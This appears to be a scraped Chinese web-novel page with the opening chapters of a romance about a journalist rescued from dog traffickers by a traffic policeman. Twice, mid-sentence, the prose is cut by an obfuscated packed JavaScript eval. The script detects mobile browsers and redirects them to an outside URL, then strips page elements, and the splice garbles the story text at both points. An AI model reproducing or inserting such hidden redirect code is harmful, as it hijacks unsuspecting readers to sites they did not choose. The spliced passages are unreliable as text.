《她是来碰瓷的》 1. 第一起 刀刃抵在皮肤上传来的凉意让戚许对眼前这荒诞的一切终于产生了一些真实感。 毕竟,谁能想到帮闺蜜找个狗,还会有生命危险? 时间回到两个小时前—— 戚许洗完澡,脸上敷着片面膜,正站在镜前吹头发。 恍惚觉得听到手机铃声响,她关掉吹风机仔细听。 确认是来电铃声,将吹风机放回架子,她走出去接听电话。 屏幕上闪烁着闺蜜孟雪乔的名字,戚许瞥了一眼屏幕上端的时间,有些意外地接起了电话。 “哇,你居然这个时间还没睡?” 对面的声音焦急还带些哭腔,语速是她平日的两三倍,“锅仔被方松丞的爸妈卖了!应该是卖给了收狗肉的贩子,现在正在高速上要运往外地......” 锅仔,是孟雪乔养了五年的一只法国斗牛犬,而方松丞是她交往了三年,已经将结婚提上日程的男朋友。 戚许不用多听都能猜到是怎么回事,方在她看来就是个皮相不错又会装乖的凤凰男,她一直就对这人观感不好,只是孟雪乔和她父母都对他比较认可,她就一直忍着膈应没说过什么坏话。 这次孟雪乔是参加学校组织的青年教师暑期培训,去首都封闭式上半个月的课,所以戚许回森城,她都没能来接机。 “走的时候他说,就放心把家交给他......”孟雪乔抽噎起来。 交给他,然后他把自己老家的爸妈和一众亲戚给接了过来,两室一厅的房子里人挤人。 有人提出要把锅仔宰了吃肉,方的父母觉得夏天吃狗肉上火,但也觉得养这么个东西纯浪费钱,还脏,影响他们要孩子。 所以很机智地想出了这个一举两得的好办法。 “好好,你先别哭,我知道你着急,但你就算立刻请假回来最早也要明天才能到,我现在替你去找。” “你现在把你手里跟锅仔目前去向有关的信息都发给我,我马上出发,有什么情况第一时间告诉你。” 又安抚了几句,戚许挂断电话,查看微信里孟雪乔发来的内容。 还好,有具体的车牌号,目前车辆还在森城境内,已经被赶去的动保组织的志愿者拦截。 戚许加入救助群的群聊,按照里面分享的最新定位,打开叫车软件发布订单。 深夜加上目的地距离确实较远,一时没人接单,她换衣服间隙扫了眼手机,“啧”一声又加了一百元打赏。 视频里现场环境拥挤杂乱,戚许选了一双轻便的运动鞋,系好鞋带之后再拿起手机看。 很好,接单车辆已经快到楼下了。 头发还没完全干透,戚许随手扯了根发带几秒扎好丸子头。 揣好手机,去姨夫姨妈那屋跟他们打了声招呼。 姨夫姨妈倚在床头各自拿着一个iPad浏览,对她这个时间要出门有些担心,但听她解释是为了帮孟雪乔的忙之后也支持。 那孩子也算是他们看着长大的,知道她对那只狗的感情。 两个人一直把戚许送到门口,姨妈还是不放心,提出要不让姨夫或者表弟邵珩陪着一起去。 姨夫也附和,说着就要去换衣服。 戚许赶紧把他们往门里推,“这大晚上的,姨夫这么大年纪就别折腾了,邵珩在学校,开发区赶回来还要一小时,现在时间紧迫,我等不了他了。 不过你们放心,我就是去帮忙把狗子带回来,不会有什么危险的。” “那我们等你回来再睡。” 戚许无奈答应,一边噔噔往楼下走,“关上门吧,进蚊子!” ** 路上,群里一直在汇报最新进度,同时请求支援。 情况不容乐观,狗贩子态度比他们预想的要强硬很多,一直阻止志愿者们往下抬笼子。 现在正当酷暑,晚上也有三十四五度,狗子们挤在狭窄笼子里,一直缺粮缺水,状态看着都不大好。 一路让师傅尽量快开,四十分钟后戚许抵达现场,跟在场的志愿者们简单自我介绍,讲清情况之后便加入了他们开始帮忙。 周围人告诉她,已经报了警,虽然狗贩子坚称笼子里的狗都是他们收来的,买卖自愿,但还是不少狗主人认出了自己家丢失的狗,无论狗贩子是收赃还是盗窃,一定都是违法的。 戚许拍了张现场照片发给孟雪乔和姨夫姨妈,告诉他们自己找到锅仔就会回去。 她准备先跟着一起将笼子从车上卸下来,再在其中找锅仔。 狗贩子一共两人,一人被一群志愿者围着交涉,另外一人一直锁着驾驶室的车门不出来。 四周的笼子被卸得差不多,戚许爬到较高的车斗里,她一直在留心看,地上的那堆笼子里没发现锅仔。 车斗里没灯,戚许拿出手机照脚下,一个更小些的笼子里关着的都是英斗法斗,正眼巴巴地瞧着往它们脸上照光的戚许。 这是按类别储存? 不知道这么做的用意,但还好,戚许在角落看到了锅仔。 她蹲下身再仔细确认,真的是锅仔,只是看着像受了不小的罪,泪痕深重,腿脚上都有血痕,不知道是蹭到的还是受伤了。 手指伸进去摸了摸鼻子,又干又烫。 心里暗暗咒骂着方松丞一家,戚许低声安慰狗子们,“没事别怕,我们马上安全了。” 她站起身想朝车下面再喊几个人上来,和她一起搬笼子。 刚站直身体,脖子就从后面被人用胳膊勒住。 那人大力地向后拖拽她,她惊恐地大叫出声,趔趄着随着他往后退,手里的手机被硬扯走朝车下砸去。 被生拉硬拽从车上拽下来,她又被推搡着来到车头前。 戚许看到驾驶室的门大敞四开着,刚被包围着的一名狗贩子走到她身边,跟箍着她,用匕首抵着她脖子的人站到一起。 原来刚到车斗里挟持她的人是之前一直躲在驾驶室里的另一名狗贩子。 戚许尝试跟他们分析利弊,“这一整车的狗加起来市价也最多几万块,我相信其中很多都并不是你们偷的,所以就算警察来了,这也不算多大个事,你们犯不上伤人啊,伤人性质就变严重了。” “少他妈废话!车后头那箱子狗你们带不走,警察来了我们也不怕!” 说着话,那人又钻回车厢,取出一件长条形物体。 现场一片惊呼,人声又引得持续数秒的激烈犬吠。 “啊,猎枪!” 车头两束锃亮的灯光混着周围的暄吵、暑热,让戚许头晕目眩。 她尝试挣了挣,脱离开哪怕一点身后紧贴着的那具汗湿、散发馊臭味的躯体。 这动作进一步激怒了那人,于是刀刃更紧地挤向了她脖颈上的皮肤。 ** 况野今晚替同事杨勇值了大半宿的夜班,他儿子在学校食物中毒了,他跟媳妇一起陪着孩子在医院输液,孩子睡了赶紧赶过来。 随口答应了杨勇下次一定请他吃饭的客套邀请,况野往更衣室走,半途被打着电话脚步匆忙从办公室出来的队长梁青松叫住。 “城北高速公路那儿有一起拦车救狗事件,需要支援,你也去。” “行。” 况野答应着,跟上老梁的脚步,电话那头似乎是高速路辖区的派出所民警。 “有管制刀具,还有□□?” “好,我们尽快赶到,六个人够不够?” 老梁挂断电话,站在值班大厅中央,简单复述了一下现场的情况,点了几个名字。 大家应声“收到”,起身出发。 动作利落地钻进车里,关门开车。 行驶路上干坐着难免交头接耳。 “拦车救狗,用得着这么大阵仗这么多人?” 有刚听到老梁打电话的,“有人质被挟持了,狗贩子手里还有枪?” “啥?这么疯?” “谁知道,至于吗,又不是贩0毒。” “那为啥叫咱们大队来?” “这派出所所长不是跟咱老梁是老哥们儿嘛。” 老梁听着七嘴八舌的议论,不解答也不评价,只最后结案陈词一样叮嘱:“注意安全,另外现场已经有媒体在,注意维护咱们交警形象。” “嘿,那咱野子来就对了,颜值担当,武力担当。” “刑警的资质干交警,咱交警队今天也惊艳他们一回。” 况野平静地看向窗外,被cue到和夸奖,只淡淡的笑一下算作回应。 如果是不熟的人看到这表情,大概率会分不清他是腼腆还是淡漠,好在做了几年同事,大家已经习惯他的寡言。 又东拉西扯一会儿,抵达现场。 与派出所的民警会和之后,开了一个简短的会议,布置了解救人质以及擒获狗贩子的行动计划。 十人共分成两队,一队负责一个狗贩子。也说不清哪一队的任务更难,一个手里有枪,很可能枪里是有子弹的;另一个手里有人质,人质的安全又是第一位的。 况野被分到救人那队,五个脑袋凑一起,迅速商定了左右两边各两人从斜后方围上去包抄,况野负责把人抢过来。 老梁和派出所所长两位年长同志负责做思想工作,举着大喇叭喊话,分散他们的注意力。 围观人群已经被疏散到安全线以内,几家媒体挤在线前都想抢到第一手消息。 老梁揣度,这两人的最终目的是带着不知道什么原因显得特别重要的一笼狗安全离开,所以谈判也是尽量口头上满足他们提出的条件。 答应下来,又不能执行得太痛快。 果然,两人提出再给他们提供一辆小厢货,他们要带着这女孩和一笼子狗走,如果不追击他们,会在下一个服务区放掉女孩。 不要钱,只要能顺利运走狗,那么想必这笼狗的价值不小,虽然目前还看不出具体的玄妙在哪里。 老梁一面说,调动小厢货过来可以,但这里离市区着实不近,开过来至少还要半个多小时。 一面苦口婆心劝,贩个狗而已,不算多大的事,警方并没想也不会把他们怎么样,所以不用这么紧张。 “你们看看这阵仗就知道了嘛,来的都是交警,我们呐就是抓抓酒驾违章,手里最大的家伙是酒精检测仪,腰里别的是对讲机,都不如你们手里这俩家伙硬。” 这番话起了一点作用,原本严阵以待举着猎枪乱瞄的那人也许是保持一个姿势太久累了,换成了以枪拄地斜靠着车身站着。 老梁仍在继续闲扯,语气轻松得像运动会开场前的动员词,随着在车前来回转圈踱步。 又一圈走下来,实际上是与蓄势待发的两队人都确认好,最后一个字音刚落,他挥了挥手,假作让人朝他挥动的方向望。 众人都以为是被调来的小货车驶来了,朝远处眺。 与此同时,两队人突然蹿到两狗贩子身边。 夺枪、肉搏、按倒、上铐一气呵成。 况野这边,狗贩子的第一反应是用力朝女孩的脖颈划下去,而他的第一反应不是去攻击,而是直接攥住了刀刃,同时另一只手拧住狗贩子手腕。 他下了力气,狗贩子立刻面露痛色,面容扭曲地叫喊疼,捏着匕首的手脱力。 况野一把夺过匕首扔了出去,同时两手抓着狗贩子的两只胳膊,结结实实的一记过肩摔。 “当啷”与“噗嗤”两声同时响起,匕首落地,狗贩子被狠狠砸落在地之后,又被五个人以泰山压顶的姿势按在地上一动不能动。 这一切只发生在刹那,戚许呆立原地,直到感觉有液 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599512|172009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体顺着衣领流入,才低头去看。 她穿的是浅灰色运动套装,前襟上洇出一道细红痕。 不能确定是不是那人还是划伤了她,戚许抬手往脖颈上去摸。 “别动!”她的动作被声音制止。 况野走过来,“手脏,伤口会感染。” ** 后续的收尾工作况野没有参与,现场唯二的两个伤号——他和那个倒霉的人质小姑娘,都需要赶紧去医院。 小姑娘被他那一嗓子喊过之后倒是没有再试图摸伤口,只是人好像也被吓住了,手悬在胸前半天才放下,看向他的一双溜圆的大眼睛里透出茫然无措。 老梁就是这时候走到他们两人身边的。 因为这女孩看着跟自家闺女差不多大,老梁很自然地多了点慈爱,他歪着头仔细往女孩的伤处观察了一番,“别怕啊姑娘,伤口不是很深。” 戚许嗫嚅着“哦”了一声。 “那群志愿者里有你朋友?”老梁指了指继续忙碌的人群。 “我是自己来的,我帮我朋友找狗的,就在刚他们不让带走的那笼子里。”戚许想起还没有给孟雪乔和姨夫姨妈报信。 更糟糕的是,手机还摔坏了。 戚许理了理思绪,跟老梁借了手机,“我想跟家里人先报个平安。” “行,别让家里人跟着担心。”老梁解锁了自己的手机递过去,“但你这伤?” 戚许低头拨号,等待电话接通的间隙再次跟老梁道谢,“我准备去医院处理下再回家,不然怕吓到他们。” 她咧嘴苦笑了下。 电话很快被接通,看来姨夫姨妈果真一直没睡等着她。 戚许没在电话里告诉他们自己受伤的事,只说事情都结束了,她还好,只是手机不小心摔坏了,因为这边不大好叫车,回家会晚一些。 姨夫姨妈又叮嘱几句,不放心地挂断电话。 接着又给孟雪乔拨去一个电话,得知锅仔获救之后她情绪好了很多,只是声音里还带着闷闷的鼻音。 戚许交还了手机,顺口问:“那我一会儿可以直接带走狗子吗?” 老梁面露难色,“这个,应该还不行。” 具体原因暂时还需要保密,连况野他们都不能说,目前就他和派出所的几人知道内情。 “啊......”戚许难掩失望神色,忙活一晚上还差点血溅当场就为了它,结果还带不走。 老梁让她放心,“我们警方也有定点合作的宠物医院,这里的狗都会先送到那边去进行一个体检,也会得到妥善的照顾,而且时间也不会太长,最多两三天呐,就会通知你们来接的。” 戚许确实看到不远处,有警方在登记已经能确认是自家宠物的主人的联系方式。 “好吧。” 戚许现在没了手机,身上也没有现金,还不知道怎么离开这儿,但她决定还是先去登个记,再看看向谁借点钱。 “那如果没什么需要我配合的......” “有哇,你还得去队里做个笔录。别紧张啊,就是详细讲述一下你知道的,全部的经过。” 况野低声提醒,“今晚去队里的人估计不少,要不,给她安排到明天?” “也好,那就先去包扎。可是你现在没手机,估计也没开车来吧?你怎么去医院?” 戚许实话实话,想去和今晚打过一点交道的志愿者们借点钱。 “甭费那个事了,况野,你送这姑娘去,反正你这手也得去医院,还能不能开车?” 况野说没问题,老梁让他去跟王所借车。 见戚许有些犹豫,他爽朗笑起来,“别害怕小姑娘,跟警察在一块儿最安全不过了,我是森城交警支队太平大队的队长梁青松,这是我证件,一会儿和你一起去医院的是我们队的况野,包扎完啊,再让他给你送回家。 回去好好睡一觉,明儿起来就什么事都没有了。” 戚许回以笑容,“那谢谢了。” 况野经过简单止血之后拿着车钥匙回来,戚许已经完成了登记,看着一笼笼狗又被警方装车准备带走。 “唉......”她叹声气。 况野晃了下车钥匙,“走吧。” 戚许随着他走到车边,也是一辆警车,她拉开门坐进副驾。 况野打火启动车,余光瞟到她动作利落地给自己系上安全带。 “小心啊。” “没事,我有仰着头,不会碰到伤口。” “嗯。” 车子驶离,一切总算结束了,戚许终于完全放松下来。 她目光落在况野扶着方向盘,缠着绷带的左手。 “你的手......谢谢。” “没事,小伤。” “刚梁警官叫你况野,是哪两个字啊?”戚许因为自己的名字是谐音,遇到同类型的觉得很有意思。 “状况的况,野蛮的野。” 戚许“嗤”地笑了下,这人看着怎么也不像会跟这俩词扯上一点儿关系的,不知道他怎么就选择这样解释自己的名字。 笑完又觉得自己这样有点不礼貌,搞不好被解读成嘲笑。 找补一句,“哦,我叫戚许,不过不是期望的期,是戚继光的戚,许就是许多的许。” “噢。” “......”这位况警官,挺高冷呢,不像他的上司梁警官那样健谈。 刚等况野这会儿,梁警官自来熟地跟戚许聊起了家常,戚许已经知道他明年就将退休,女儿刚刚研究生毕业,和老婆感情非常好等家庭情况。 又相顾无言好一会儿,戚许打了个呵欠。 她又把座椅往后放倒了一些,车里空调有点儿凉,她抱着胳膊。 “那我先睡一会儿了,况警官。” 2. 第二起 况野将车停好,叫醒了一旁睡得安稳的戚许。 “哦,到了。”戚许自言自语地解开安全带。 “走吧。” 两人一前一后走进急诊。 没想到已是后半夜,诊室里还跟白天一样热闹。 站在诊室中间找一张空床,戚许疑惑:“怎么都是小孩?” 况野也随着她的目光看过去。 几乎每一张床上都躺着个面色煞白的穿着校服的小学生,挂着吊瓶,旁边守着表情或心疼或愤怒的家长。 有护士看到了这两个伤号,匆忙走过来,指挥他们到角落的一张空床去,别站在中间碍事,一会儿医生会过来给他们检查伤口。 两人依言过去,况野将床让给了戚许,自己坐在了床旁边的黑色皮面小圆凳上。 戚许思考了一下,还是脱了鞋爬上床半躺下。 她觉得自己浑身无力,头脑昏沉,也不想和这位况警官假客气拉扯一番了。 见她恹恹的,况野问:“很难受?” 戚许闷声:“还好,可能中暑了。” 昨天傍晚才落地,今天一整天都在归置行李,累个半死想着洗完澡好好睡一觉,又经历这么一遭。 两三分钟后,医生过来,一边带手套一边问:“两个人都伤了?什么情况?” 况野叫医生先去查看戚许,一边简单解释了受伤的原因。 戚许坐起来,仰着脖子配合检查。 医生触到她的皮肤,觉着有些烫,叫旁边的护士拿额温枪来。 “伤口长8厘米,深度还可以,2到3毫米,不算很严重的,一会儿来给你缝合。”看了下温度,“38度6,烧得挺厉害的,那就加一组消炎退烧的,再打个破伤风。” 医生又端起况野的手掌检查。 小心剥落之前缠紧的纱布,点评道:“止血做得不错,有点急救底子啊。” 况野:“学过一点儿。” “那也得缝针,”又给他脑门上也来了一枪,“不烧,那就先不用吊针,口服消炎药加一针破伤风吧。” “行,那就去把费缴了,一会儿来给你们处置伤口。” 不一会儿,护士拿来开好的单据。 况野突然想到,“你是不是医保卡身份证都没带?” 戚许拧着眉毛点了下头,“我告诉你身份证号码可以么?” “我去试试,应该可以。” 况野递过自己的手机,戚许把自己的身份证号码记在备忘录里。 他用的是某国产品牌几年前的机型,倒是保持得有九成新,屏幕上也没有乱七八糟的手印。 戚许重新躺回床上,没力气,不舒服的时候她就习惯蜷成一团,这八年自己在国外都是这么过来的。 况野在窗口缴完费,将要走回诊室之前,瞟到角落里的自助贩卖机。 他走过去,仔细查看价格,稍微犹豫之后,买了一瓶矿泉水和一瓶能量饮料。 大概记得发烧的人适合补充一些电解质。 况野回到诊室,第一眼没有在病床上找到戚许,往周围张望,才发现她站在一群家长中间聊得热络,同时伴随深以为然、义愤填膺等表情。 这精神头倒跟刚才判若两人。 况野抿了下嘴唇,微感无奈地走过去,碰了下她扬起的胳膊,递过饮料,“这给你。” “谢谢,”戚许顺手接过,觉得情况也算了解得差不多,便结束了跟家长们的攀谈,回到病床上。 戚许坐端正一些身体,在况野的那句“要不要帮你拧开”说出口之前,拧开瓶盖仰头喝了起来。 一口气下去了半瓶,凉爽液体划入喉头,她觉得自己头脑的昏沉都好了不少。 “这可太舒服了。” “我是个记者!那些都是市一小的小学生,吃了学校统一订购的盒饭食物中毒来的医院,我刚就是去有没有什么关于食品安全方面的料可以挖。” 不知道是做了她感兴趣的事情还是那瓶饮料的功劳,她的颓靡状态较之前好了很多,话也随即多起来。 况野慢慢啜下几口水。 行,这样挺好的。 医生过来缝针,况野依然很绅士地让戚许先来。 护士小心地先注射一针,进行局部麻醉,一边安慰戚许,“没事的哈,很快就会起效,一点不疼的。” 戚许特配合:“知道的。” 在别人那儿不确定效果,她这里肯定是一点不疼。 缝合过程对戚许来说唯一的问题就是,一直保持仰头的姿势有点累,而且最好还得一动不动。 可惜医院里没有她那把颈部能完全承托的人体工学椅。 注意到她这姿势的吃力,医生招招手让况野过来。 “你让她靠下嘛,借点力。” 况野依言过来,按指挥轻柔地用那只完好的右手托着戚许的下巴,让她后脑靠在自己腹部。 这下舒服多了,戚许用头在他身上蹭了蹭,眯着眼睛,“你是不是有腹肌啊?” “嗯。” 医生也在口罩后轻笑一声,“坚持下,很快就完成了。” 完成戚许的缝合之后,她又继续那个舒服的姿势躺好,暂时又睡不着,就全程旁观了况野的缝合操作。 最后医生叮嘱了两人伤口的注意事项离开,又过了会儿,护士来给戚许扎上吊瓶。 诊室里,之前食物中毒经过治疗状态已经恢复大半的小学生被父母带回家,取而代之的是几个眼睛喝红的醉汉。 充斥着消毒水味的空气里被混入了酒臭,护士不动声色地调大了空调的风量。 戚许却后知后觉地开始检查自己身上的气味,那股不久前还紧贴着她包裹着她的馊酸让她突然坐立难安。 戚许先是解开丸子头,把头发都扯到鼻子底下用力嗅,庆幸自己护发精油的味道起到了一定的遮盖作用。 又想到自己被人抓着头发扯着倒退,虽然感觉不到头皮痛,但那姿势像是她去新疆玩的时候,看到的被人抓去杀肉的羊。 发出一声嫌恶的“呃”,戚许低头扫视自己的浅灰色连帽开衫短袖,那人可是在背后紧贴着她...... 在况野诧异的眼神里,她飞快地拉开拉链,脱下短袖一气呵成扔进床边垃圾桶,然后用力搓了两下双臂,又抖抖手。 戚许自己是没觉得这样有什么不妥的,她里面搭配的是件白色宽带的工字背心,虽然款式贴身,但看起来绝对比瑜伽服还保守多了。 要不是实在环境不允许,身上这条短裤她都想扔了。 可惜在场的人这样想的只有她自己。 率先感受到朝他们这边直射过来的目光的是况野,他环视一圈,发现是那几个醉汉,正表情迷离而兴奋,肆无忌惮地打量着戚许。 而她本人,正毫无知觉地继续检查自己露在衣物外的皮肤。 况野假咳一声,移动着自己坐着的小凳子挡住那几道猥琐视线,发现床边的小帘子是可拉动的之后,松开绑绳拉上帘子。 戚许检查完毕,打了个呵欠,这才注意到他的动作。 “其实,现在有空床,你可以去旁边休息的。” “没事,我得看着药水。”况野指一指上方的几个药瓶。 戚许想揶揄一句“你人还怪好的嘞”,又怕没人接梗自讨没趣。 她继续挂水,况野继续低头刷手机,而她继续无聊。 终于——“你在看什么呢,好像很有意思的样子?” 她实在好奇,也需要打发时间,如果他看的东西她也感兴趣,依他高冷却还算热心的这属性,他应该会愿意分享屏幕。 况野举起手机屏幕,“学习。” 应该是他的职业需要,每年有学分要求,用手机挂课。 不过,这东西还真的有人认真在看......还真是诡异,但不违和。 “哦。”果然呐,跟这样的人呆在一起的时间稍微久一点,连说话方式都会变得相似。 戚许躺着,把头转向另一侧。 半晌,在况野又重新沉浸回他的网课学习中后。 “你一直都坐这么直吗?” “你是不是坐车、坐飞机从来都不调座椅的那种人?” “是不是因为一直保持这个习惯,你才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599513|172009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有腹肌?” 况野正好听完一节课,关掉页面,一边打开手机应用市场,一边回答。 “是,习惯了,腹肌不能只靠这个。” 他重新将手机递给戚许,“电量应该还够的,你下载一个想玩的游戏吧。” “我是那种自私的人吗?”戚许接过手机,倒打一耙,“只顾自己能玩、不无聊,让你干坐着?再说了,还不是因为没人陪我聊天我才这么无聊的。” 她找到自己常用的影视APP点了下载,“需要充个会员哈,不然什么都看不了。” “行。” 完成下载、注册、充值,期间让况野输了一下支付密码。 “我们一起看吧,放小小声,不会吵到别人的。”戚许叫况野凑过来些。 “迁就你,我们看个悬疑片。”戚许斜靠在床头,她一只手打着吊针,况野一只手缠着绷带,都不适合一直端着手机。 四周打量一圈,她叫况野把床头柜拉过来,又取下一瓶已经点完药水的玻璃瓶,组合到一起权当支架了。 电影是暑期档上线的,当时的票房不错,豆瓣评分也高,刚刚上线了流媒体资源。 发现况野看得很认真,戚许又忍不住:“是不是还挺好看的?” “嗯。” “钱不白花是吧?” “是。” “这个会员最低只能充一个月的,所以这期间你都可以随便看的。” “好的。”况野答应下来,虽然他平时几乎不看电影的。 她的话痨并没有随着电影开始播放而停止,还要偶尔点评两句。 “女主角挺漂亮的。” “这个应该是最后的反派,现在还看不出来,之后一定会黑化的。” “这个冰淇淋看着好好吃!” 况野的回应,也仅限于发出一两声单音节的“嗯”“哦”。 戚许虽然对自己临时拼凑的手机支架很满意,不过这观影距离,屏幕和音量确实有点儿小,全神贯注了看了一会儿之后,她上下眼皮又渐渐支撑不住地阖起来。 况野是听到一阵轻微的鼾声才发现旁边的女孩又睡着了,大概是这个侧躺的姿势有些不舒服让她呼吸不畅。 她两只手抱在自己膝盖上,整个人缩成一小团。 在况野看起来,像是一根脆弱的豆芽,白嫩纤细,两根手指稍微用力一捏就会折断。 他稍作犹豫,解开自己身上制服的扣子。 在给女孩盖上之前,他也学着她的样子仔细把整件衣服拿到鼻前嗅,确认没有异味,才小心地盖到她身上。 接着拉过来枕头,手掌垫在她脑后托住,稳当又轻巧地帮她换了个角度枕好。 做完这些,收回手时,指尖不小心划过她颤动的睫毛。 况野立即烫到了一样缩回手,手指蜷曲着垂在身侧。 好在,观察她的表情,仍然睡得很香甜。 况野较之前放松很多,自如地将物品都放回原处,拿回手机,关掉了播放到一半的电影。 以后有机会再看吧。 ** 戚许在护士过来拔完针后才被况野叫醒。 她手背上的针眼已经被按了半天,确保不会溢血或者淤青。 她懵了半天,像来的时候一样跟在况野身后往外走。 时间已经接近凌晨三点,再晚一会儿,早餐都要出摊了。 “衣服是让护士帮忙给你套了一下,穿着吧——”到急诊门口,戚许才发现自己身上肥大的浅蓝色制服,想脱下来还给况野。 “后半夜比较凉。”况野又解释一句,推开大门。 因他这个推门的动作,戚许才注意到他的手臂。 准确来说,是两边手臂上的疤。 像是最不成章法的国画里的细碎枝蔓,从手腕下方一直延伸到手肘。 这样形态的陈年旧伤......两只手臂......戚许从不相信命运的神奇。 所以,她才会丝毫不抱有希望,仅仅为了证否,极力平复成稳定的声调。 “请问,你手臂上的这些疤,是怎么弄伤的?” 3. 第三起 “所以他是怎么回答的?” 孟雪乔拿着逗猫棒逗了半天戚许的猫毛豆,结果毛豆仍旧那副万年斗鸡眼的痴呆表情,无动于衷。 她终于受不了被一只傻猫当成傻子看,于是终于放下逗猫棒,拿起飘窗上的奶昔,凑到桌旁继续来八卦那个戚许嘴里的帅交警。 戚许此刻正盘腿坐在宽大的人体工学椅上,带着防蓝光眼镜,对着电脑屏幕。 “他先是露出了疑惑的表情,不知道是疑惑我怎么知道他有这个经历还是疑惑我为什么这么问......” 孟雪乔拉着她的椅背,把人转了180度面对自己。 “回来就看你在这儿,你不是才面试完,又没有入职,在忙什么呢?” 距离那惊心动魄的二半夜已经过去三天整了,孟雪乔是今天上午回来的,表弟邵珩负责去机场接人,直接就把人接回了姨夫姨妈家。 戚许摘掉眼镜,捏了捏鼻梁,“两件事,一是那晚上的小学生集体食物中毒事件,已经能确定就是当天晚餐里的西红柿牛腩细菌超标引起的,目前进度在配餐公司的采购部门,”她皱眉撇嘴摇头,“卡住了。” “意料之中,那另一件呢?” “还是救你家锅仔的事呗,细想有点奇怪,贩狗,哪怕是偷的,用得着这么大阵仗舞刀弄枪的嘛,一定有隐情。” “嗯,”孟雪乔吸了一大口奶昔,迅速咽下,很罕见地以严肃认真的态度跟戚许说,“食物中毒的事情你查查就算了,顶多又出个森城本地食品安全问题的新闻,你都说了那晚的事有警方的介入,那你就不要再碰。” “好吧,小姐姐教育人了呢。”戚许瘪瘪嘴。 两个人认识已经超过了二十年,当初七岁的孟雪乔和四岁的戚许在儿童医院的病房相识,两人邻床,打针也安安静静一脸呆萌的戚许被孟家父母当成榜样教育孟雪乔。 原话是“看小妹妹比你小都比你勇敢,你这个小姐姐还哭鼻子,多丢人!” 这一招起到了一点作用,孟雪乔之后果然让他们省心很多,但根本原因是她找到了新的玩具可以让住院生活不那么痛苦。 不爱哭闹的小妹妹,长得简直像她家里床头的洋娃娃一样,大眼睛翘睫毛,皮肤粉白,头发还带些自来卷,最重要的是——是活的。 这可让她过足了各类剧情过家家的瘾,而洋娃娃小妹妹也对这种摆弄很受用。 于是,出院的时候,一个愿打一个愿挨的小姐妹难舍难分,直到双方父母交换了电话和地址,在发现两家住的其实挺近的并保证她们会经常见面之后,才依依不舍的告别。 之后的日子里,她们成了对方家里的常客,期间比戚许小一岁的邵珩也加入了进来,成为有点颜控的温柔小姐姐的2号玩偶。 铁三角就此焊定,只是虽然孟雪乔是三人中最年长的,一直照顾两个小朋友,却是脾性最软的,戚许古灵精怪,邵珩早慧桀骜,她也不喜欢像个家长一样“管教”他们。 不然更要被邵珩揶揄,从小就体现出贤妻良母的潜质了。 对新闻行业她也不算了解,只是担心戚许会初生牛犊不怕虎,再像她妈妈那样遭遇危险。 相识多年,很多话不用说得尽透,戚许完全能明白。 她拉了拉孟雪乔的手,嗲声嗲气,“好啦乔乔,放心放心,危险的事情我不碰。” 孟雪乔无奈,在戚许脸颊滑嫩的脸颊上掐了一下。 唉,洋娃娃小妹妹还很会撒娇,从小到大,她也还是抵抗不了。 “不过,话说回来噢。是不是就因为你平时跟方松丞相处的时候脾气太好了,让他产生怎么样你都不会生气的感觉,才会想和他的家人一起拿捏你。” 孟雪乔咬着吸管滞了一下。 “我觉得......你说得对。”已经下定了决心分手,复盘对方的心路历程其实没什么意义,但这也是她之前想到过但不愿意承认的。 “那你之后打算?”如果猜得没错,那家人现在应该还像什么都没发生一样,住在孟雪乔付了首付和装修的房子里,尽享天伦之乐和成功拿捏未来儿媳的成就感。 “首付和装修的钱细算起来,都是我爸妈的,不可能白送给方松丞,房贷是我们俩的公积金一起还,我准备把他这小一年付的月供还给他,别的也没有什么了。” 不过就是,这一切还没跟自己父母说。孟雪乔对于这一点是有些愁的,因为爸妈很看好方松丞,不然当时也不会安排他们俩相亲。 “别担心,有我和邵珩呢,包管叫那一家子不要脸的完完全全、彻彻底底的滚出你的生活!” “还有你爸妈那边,我们都可以作证,是方松丞的问题才会导致你们分手,而且他们居心不良,抱着吃绝户的心态和你在一起的,虽然你有哥!”戚许依然义愤填膺。 孟雪乔苦笑:“但愿都能顺利吧,还好我们俩不是一个学校的,不然抬头不见低头见......” 戚许醍醐灌顶:“你不说我都忘了!如果他不配合,我们还可以去他单位闹,那我更有信心了!” 孟雪乔绝对相信戚许控场和舌战群儒的能力,毕竟她十六岁的时候就曾因为发现背了三天的包是pu的而不是真皮的,去退货遭拒之后,又是打12315,又是据理力争借用舆论力量,最后成功拿到了三倍赔偿。 “好啦,那就等之后按照你的计划去‘收拾’他们,所以现在可以继续给我讲你那位救命恩人的事了吗?” “我还没说他怎么回答的哎。” “如果他不是,那在你这儿,就不会有接下去的故事了啊。” 戚许把一直捏在手里的防蓝光眼睛搁回桌面上,悻悻:“那你刚还问我。” 孟雪乔在戚许床上给自己找了个舒服的姿势窝好,一副洗耳恭听状:“走流程。” ** 那晚戚许脱口问出之后—— 任何人面对这么一双乞食的小兽一样无辜又热切的大眼睛,都会不由自主的觉得心脏软了一下。 况野当然也没能免疫。 他没有立刻回答。 帮人、救人这种事,他这辈子截止到目前的经历不算少,但场面达到那般惨烈的,只有一次,所以过了六年,他还是记忆深刻。 但做了交警之后,对于每年会发生多少起车祸,其中又有多少会致人死亡这件事,他的认知也实在清晰。 因此不能随便认定,这姑娘向他求证的,和他实际经历的,的确是同一场车祸。 他眉头微微拧着,复述那晚的细节。 六年前。 